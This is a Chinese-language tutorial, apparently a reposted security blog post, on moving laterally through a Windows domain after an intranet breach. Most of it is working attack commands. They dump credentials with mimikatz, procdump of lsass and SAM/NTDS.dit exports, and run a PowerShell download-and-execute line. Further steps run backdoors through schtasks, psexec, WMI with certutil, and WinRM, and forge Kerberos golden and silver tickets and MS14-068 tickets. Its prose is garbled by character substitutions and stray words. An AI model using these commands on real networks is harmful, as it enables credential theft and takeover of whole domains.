内网渗透技巧之横向控制

1、前言

   目前当攻击者获取到某台内网机器的控制权限以后,进一步会考虑如何在内网进行横向移动,以及攻击域控服务器,今天丹丹就总结一下突破边界后进一步的攻击技巧。css

2、Windows域介绍

将网络中多台计算机逻辑上组织到一块儿进行集中管理,这种区别于工做组的逻辑环境叫作域。域是由域控制器(Domain Controller)和成员计算机组成,域控制器就是安装了活动目录(Active Directory)的计算机。活动目录提供了存储网络上对象信息并使用网络使用该数据的方法,在域中,至少有一台域控制器,域控制器中保存着整个域的用户账号和安全数据库。node

2.1域的优点

1.集中管理,能够集中的管理企业中成千上万分布于异地的计算机和用户。python

2.便捷的网络资源访问,可以容易的定位到域中的资源。nginx

3.用户一次登陆就可访问整个网络资源,集中的身份验证。git

4.网络资源主要包含用户账户、组、共享文件夹、打印机等github

5.可扩展性,既能够适用于几十台计算机的小规模网络,也能够适用于跨国公司。算法

2.2域渗透经常使用命令

查询与控制器主机名 :net group “domain controllers” /domainshell

能够经过ping主机名获取到域控的ip
数据库

查询域管理用户:net group “domain admins” /domain
apache

查看全部域用户:net user /domain

查看加入域的全部计算机名:net group "domain computers" /domain

查看域密码策略:net accounts /domain

2.3Windows认证协议

Windows有两种认证协议:NTLM(NT LAN Manager)和Kerberos。域成员计算机在登陆的时候能够选择登陆到域中或此台电脑,选择登录到域通常会采用Kerberos协议在域控DC上进行认证。

   2.3.1NTLM认证协议

NTLM是一种网络认证协议,它是基于挑战(Chalenge)/响应(Response)认证机制的一种认证模式。这个协议只支持Windows。NTLM认证协议大概流程:

能够看到NTLM协议基于NTLM hash,windows本地登录的密码由LM hash和NTLM hash组成,存储在SAM文件中,前一部分是LM Hash,后一部分是NTLM Hash。

administrator:500:6f08d7b306b1dad4ff17365faf1ffe89:032f3db689bf1ee44c04d08c785710de:::

在登录Windows的时候,系统会将用户输入的密码转换成NTLM hash并与SAM文件中的密码进行对比,若是相同,则认证成功。

   2.3.2Kerberos认证协议

Kerberos是一种网络认证协议,整个认证过程涉及到三方:客户端、服务端和 KDC(Key Distribution Center),在 Windows 域环境中,KDC 的角色由 DC(Domain Controller)来担当。

Kerberos基于票据(Ticket)进行安全认证,票据是用来在认证服务器和用户请求的服务之间传递用户身份的凭证。如下是kerberos协议的认证流程:

第1步:KRB_AS_REQ:Client-A发送Authenticator(经过A密码加密的一个时间戳TimeStamp)向KDC的AS服务认证本身的身份;

   第2步:KRB_AS_REP:AS经过KDC数据库中存储的Client-A密码的副本,解密收到的Authenticator,若是解密出的TimeStamp符合要求,则AS服务认为Client-A就是所谓的Client-A;

认证成功后,AS服务生成一个短时间有效的SessionKeya-kdc,将该Key使用A的密码副本加密成密文1,另外将Key连同时间戳标志(控制该SessionKey的有效时间)经过TGS服务的密码也就是KDC的密码加密为密文2(称为TGT),将这两个密文组合成KRB_AS_REP返回给Client-A;

   第3步:KRB_TGS_REQ:Client-A在接收到KRB_AS_REP后,首先使用自身密码解密密文1获得SessionKeya-kdc,此时须要注意的是,密文2(TGT)是被KDC的密码加密的,因此Client-A没法解密,这也是Kerberos协议设计的精妙之处,既解决了Server端(TGS相对于Client-A也称之为Server端)没法及时接收SessionKey的问题,又不怕Client-A对该TGT的伪造,由于Client-A不知道Server端的密码。

获得SessionKeya-kdc后,Client-A利用其加密时间戳生成Authenticator用于向TGS申请Client-A与Client-B进行认证所需的SessionKeya-b,连同刚才KRB_AS_REP接收的TGT一同组合成KRB_TGS_REQ发送给TGS

   第4步:KRB_TGS_REP:TGS在接收到KRB_TGS_REP以后,利用KDC密码解密TGT得到原本就该发送给本身的SessionKeya-kdc,而后用其解密KRB_TGS_REQ中的Authenticator获得Client-A发送过来的时间戳,若是时间戳符合要求,则生成一个短时间有效的SessionKeya-b,注意此时利用SessionKeya-kdc将SessionKeya-b加密为密文1,而后利用Server-B的密码将SessionKeya-b加密为密文2(称为ServiceTicket),两个密文一同构成KRB_TGS_REP返回给Client-A;

   第5步:KRB_AP_REQ:Client-A在接收到KRB_TGS_REP以后,首先使用缓存的SessionKeya-kdc将密文1中的SessionKeya-b解密出来,而后利用其加密时间戳生成Authenticator用于向B进行对自身的验证,另外,和刚才TGT同样,密文2也就是ServiceTicket是用Server-B的密码加密的,因此Client-A没法解密,也就没法伪造,这也一样解决了在三方认证中做为Server端的B没法及时接收SessionKey的问题,又不怕Client-A对ServiceTicket的伪造;

   第6步:KRB_AP_REP:Server-B受到KRB_AP_REQ以后,利用自身密码解密ServiceTicket,获得SessionKeya-b,而后用SessionKeya-b解密Authenticator获得时间戳,验证A的身份。

3、域内横向移动技巧

利用NTLM、Kerberos及SMB等协议。攻击者进入内网后会进行横向移动创建多个立足点,常见的技巧包括凭证窃取、横向移动、Pass The Hash(hash传递)、导出域成员Hash、黄金白银票据、MS14-068等。

3.1凭证窃取

窃取凭据来帮助在域内横向移动,一旦获取的密码在内网中是通用的,将会方便横向移动获取目标权限。

   3.1.1Mimikatz

Mimikatz一款windows平台下的神器,它具有不少功能,其中最亮眼的功能是直接从 lsass.exe 进程里获取windows处于active状态帐号的明文密码。

读取明文密码原理:在 Windows 中,当用户登陆时,lsass.exe 使用一个可逆的算法加密明文,并会将密文保存在内存中,Mimikatz就是经过抓取内存去还原明文。

项目地址:https://github.com/gentilkiwi/mimikatz

用法:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"

当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但能够经过修改注册表的方式抓取明文。

cmd修改注册表命令:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

重启或用户从新登陆后能够成功抓取。

   3.1.2Procdump

Procdump是微软官方发布的一款调试工具,所以不会被各类杀毒软件查杀。一般使用procdump转储内存文件到本地再使用mimikatz抓取文件中的hash来躲避杀软检测。

下载地址:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

一、使用procdump将目标的lsass.exe转储成dmp文件

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

二、使用mimikatz从转储的lsass.dmp中来读取明文密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

   3.1.3Getpass

Getapss是由闪电小子根据mimikatz编译的一个工具,能够直接获取明文密码,直接运行Getpass.exe便可:

   3.1.4Powershell脚本抓取

当目标系统存在powershell时,可直接一句powershell代码调用抓取,前提是目标可出外网,不然须要将ps1脚本放置内网之中。执行:

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1’);Get-PassHashes

   3.1.5Sam破解

使用注册表来离线导出Hash

reg save HKLM\SYSTEM system.hiv

reg save HKLM\SAM sam.hiv

reg save hklm\security security.hiv

导出后可使用mimikatz加载sam.hiv和sam.hiv来导出Hash。或者使用impacket 套件中secretsdump.py 脚本去解密,也是能够的。

python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

3.2横向移动

   3.2.1IPC+计划任务

经过ipc$实现对windows默认共享的访问,配合计划任务执行后门程序获取服务器权限。

一、经过net use创建IPC$链接

net use \\192.168.91.131\IPC$ /user:"administrator" "abc@123"

二、利用copy上传后门文件

copy D:\test.bat \\186.64.10.13\c$

三、建立计划任务执行后门程序

schtasks /create /s 186.64.10.13 /u Administrator /p Admin@123.. /ru "SYSTEM" /tn test /sc DAILY /st 22:18 /tr C:\\windows\\temp\\test.bat /F

建立计划任务,/tn是任务名称,/sc是任务运行频率,这里指定为天天运行, /tr指定运行的文件,/F表示强制建立任务

schtasks /run /s 186.64.10.13 /u administrator /p Admin@123.. /tn test /i

运行任务,其中/i表示当即运行

schtasks /delete /s 186.64.10.13 /u administrator /p Admin@123.. /tn test /f

删除计划任务

低版本的操做系统能够直接使用at建立计划任务:

net time \\186.64.10.13 at \\186.64.10.13 18:01 c:\windows\temp\test.bat

   3.2.2PsExec(445端口)

PsExec来自Microsoft的Sysinternals套件,它首先经过SMB链接到目标上的ADMIN$共享,上传psexesvc.exe,而后使用服务控制管理器启动.exe,以在远程系统上建立命名管道,最后使用该管道进行I/O

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

一、经过ADMIN$链接,而后释放psexesvc.exe到目标机器。

二、经过服务管理SCManager远程建立psexecsvc服务,并启动服务。

三、客户端链接执行命令,服务端启动相应的程序并执行回显数据。

psexec \\186.64.10.13 -u Domain\User -p Password Command

或者返回交互式shell:

   3.2.3WMI(135端口)

WMI(Windows Management Instrumentation,Windows管理规范)是一项核心的Windows管理技术;用户可使用WMI管理本地和远程计算机

经过使用端口135上的远程过程调用(RPC)进行通讯以进行远程访问(以及之后的临时端口), 它容许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。它能够经过wmic.exe直接进行交互。

查询进程信息:


wmic /node:186.64.10.13 /user:Administrator /password:Admin@123.. process list brief

首先WMI并不支持执行命令,而是支持执行文件可是你能够加相应的参数,好比

wmic /node:186.64.10.13 /user:Administrator /password:Admin@123.. process call create "cmd.exe /c ipconfig"

建立进程:

wmic /node:186.64.10.13 /user:Administrator /password:Admin@123 process call create "calc.exe"
下载远程文件并执行:
wmic /node:186.64.10.13 /user:Administrator /password:Admin@123 process call create "cmd /c  certutil.exe -urlcache -split -f http://186.64.10.13/test.exe c:/windows/temp/test.exe & c:/windows/temp/test.exe"
建立交互式shell:

使用py脚本调用WMI来模拟psexec的功能,基本上psexec能用的地方,这个脚本也可以使用。原理就是把数据先存到一个临时文件中,在每次读取完执行结果后就自动删除。能够用来回显执行命令的结果和获取半交互式的shell


python wmiexec.py -share admin$ administrator:password@186.64.10.13

   3.2.4WinRM远程管理服务

WinRM指的是Windows远程管理服务,经过远程链接winRM模块能够操做windows命令行,默认监听端口5985(HTTP)&5986 (HTTPS),在2012之后默认开启。

执行命令:

      
winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "whoami /all"
winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "cmd.exe"


winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "whoami /all"
winrs -r:http://186.64.10.13:5985 -u:Administrator -p:Admin@123.. "cmd.exe"

   3.2.5SmbExec(445端口)

smbexec是一款基于psexec的域渗透测试工具,并配套samba工具。

Smbexec.py administrator:password@186.64.10.13

3.3Pass The Hash

PTH(pass the hash)攻击是指攻击者能够直接经过LM Hash(已弃用)或NTLM Hash访问远程主机或服务,而不提供明文密码。在Windows系统中,使用NTLM进行身份认证,当获取用户hash后,可使用Hash传递的方式获取访问权限。

   3.3.1Mimikatz

首先登陆目标机器,以管理员身份运行mimikatz,并输入如下命令获取administrator帐户的ntlm hash:

Mimikatz.exeprivilege::debug” “sekurlsa::logonpasswords

在攻击机器上利用mimikatz将获取的hash注入到内存中,成功后用dir命令能够成功列出目录文件:

sekurlsa::pth /domain:. /user:Administrator /ntlm: 70be8675cd511daa9be4b8f49e829327


注入成功后,可使用psexec、wmic、wmiexec等实现远程执行命令。

3.4导出域成员Hash

域帐户的用户名和hash密码以域数据库的形式存放在域控制器的%SystemRoot%\ntds\NTDS.DIT文件中。

ntdsutil.exe是域控制器自带的域数据库管理工具,所以咱们能够经过域数据库,提取出域中全部的域用户信息,在域控上依次执行以下命令,导出域数据库。

建立快照:

ntdsutil snapshot "activate instance ntds" create quit quit

加载快照:

ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

Copy文件副本:

copy C:\$SNAP_201911211122_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

将ntds.dit文件拷贝到本地利用impacket脚本dump出Hash:

最后记得卸载删除快照:

      
ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quitntdsutil snapshot "delete  {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

   3.4.1mimikatz导出域内hash

ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quitntdsutil snapshot "delete  {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

mimikatz有两种方式能够导出域内hash。

一、直接在域控制器中执行Mimikatz,经过lsass.exe进程dump出密码哈希。

mimikatz log "privilege::debug" "lsadump::lsa /patch" exi

另一种方式是经过dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值,能够在域管权限下执行获取。

lsadump::dcsync /domain:test.com /all /csv

也能够制定获取某个用户的hash:

lsadump::dcsync /domain:test.com /user:test

   3.4.2黄金票据

域中每一个用户的Ticket都是由krbtgt的密码Hash来计算生成的,所以只要获取到了krbtgt用户的密码Hash,就能够随意伪造Ticket,进而使用Ticket登录域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称为票据传递攻击。

首先获取krbtgt的用户hash:


mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"

在普通域成员上执行dir命令提示“拒绝访问”:

以后利用mimikatz生成域管权限的Golden Ticket,填入对应的域管理员帐号、域名称、sid值,以下:     


kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-3912242732-2617380311-62526969 /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi

导入刚才生成的票据:

kerberos::ptt test.kiribi

导入成功后,能够获取域管权限:

Dir \\dc.abc.com\c$

   3.4.3白银票据

黄金票据和白银票据的一些区别:

Golden Ticket:伪造TGT,能够获取任何Kerberos服务权限,且由krbtgt的hash加密,金票在使用的过程须要和域控通讯

白银票据:伪造TGS,只能访问指定的服务,且由服务帐号(一般为计算机帐户)的Hash加密 ,银票在使用的过程不须要同域控通讯

1.在域控上导出hash

mimikatz log "privilege::debug" "sekurlsa::logonpasswords"


二、利用Hash制做一张cifs服务的白银票据:

kerberos::golden /domain:ABC.COM /sid: S-1-5-21-3912242732-2617380311-62526969 /target:DC.ABC.COM /rc4:f3a76b2f3e5af8d2808734b8974acba9 /service:cifs /user:strage /ptt

cifs是指的文件共享服务,有了cifs服务权限,就能够访问域控制器的文件系统:

   3.4.4MS14-068

MS14-068域提权漏洞,对应补丁编号:kb3011780,利用该漏洞能够将任何一个域用户提权至域管理员权限。

一、在普通域用户机器上直接访问域控制器的C盘目录

二、利用MS14-068伪造生成TGT:

      
sMS14-068.exe -u strage@test.com -s S-1-5-21-457432167-2946190674-2696793547-1103 -d 192.168.140.140 -p Admin@str


sMS14-068.exe -u strage@test.com -s S-1-5-21-457432167-2946190674-2696793547-1103 -d 192.168.140.140 -p Admin@str

三、利用mimikatz将工具获得的TGT票据写入内存,建立缓存证书:


mimikatz.exe "kerberos::ptc TGT_strage@test.com.ccache" exit

四、从新执行dir命令:

dir \\dc\C$

4、总结

    本文从攻击者视角总结了突破边界后的攻击技巧,因为水平有限,欢迎你们指出文中的错误和交流指教。

    

往期精彩


渗透测试信息收集的方法

我所知道的内网渗透

常见Web中间件漏洞利用及修复方法

安全测试中如何快速搞定Webshell

内网渗透 | 流量转发场景测试

一个实验了解多层内网渗透

Waf从入门到Bypass

实战渗透-看我如何拿下学校的大屏幕

技术篇:bulldog水平垂直越权+命令执行+提权

渗透工具实战技巧大合集 | 先收藏点赞再转发一鼓作气

感兴趣的能够点个关注!!!



乌云白帽子

一个只作安全测试的公众号



本文分享自微信公众号 - 零度安全(AttackCTF)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

相关文章
相关标签/搜索